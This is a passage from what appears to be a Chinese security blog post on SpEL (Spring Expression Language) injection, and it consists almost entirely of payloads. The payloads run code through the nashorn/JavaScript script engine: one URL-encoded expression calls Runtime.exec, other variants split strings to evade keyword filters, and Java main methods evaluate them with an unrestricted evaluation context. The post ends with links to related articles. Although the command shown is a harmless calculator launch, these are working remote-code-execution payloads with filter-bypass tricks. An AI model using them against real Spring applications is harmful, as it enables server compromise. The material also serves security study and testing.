T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
|
nashorn
作 Engine
1
| String spel = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"nashorn\")" + ".eval(\"s='calc';" + "java.la\"+\"ng.Run\"+\"time.getRu\"+\"ntime().ex\"+\"ec(s);\")";
|
1 2 3 4 5 6 7
| public static void main(String[] args) throws ScriptException { String spel = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName(\"nashorn\")" + ".eval(\"s='calc';" + "java.la\"+\"ng.Run\"+\"time.getRu\"+\"ntime().ex\"+\"ec(s);\")"; ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(spel); StandardEvaluationContext context = new StandardEvaluationContext(); expression.getValue(context); }
|
javascript
作 Engine
1
| new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s='calc';java.lang.Runtime.getRuntime().exec(s);\")
|
1 2 3 4 5 6 7 8
| public static void main(String[] args) throws ScriptException { String spel = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s='calc';java.lang.Runtime.getRuntime().exec(s);\")"; ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(spel); StandardEvaluationContext context = new StandardEvaluationContext(); expression.getValue(context); }
|
参考
Java 之 EL 表达式注入 | Drunkbaby’s Blog (drun1baby.top)
Java 之 SpEL 表达式注入 | Drunkbaby’s Blog (drun1baby.top)
由浅入深SpEL表达式注入漏洞 - Ruilin (rui0.cn)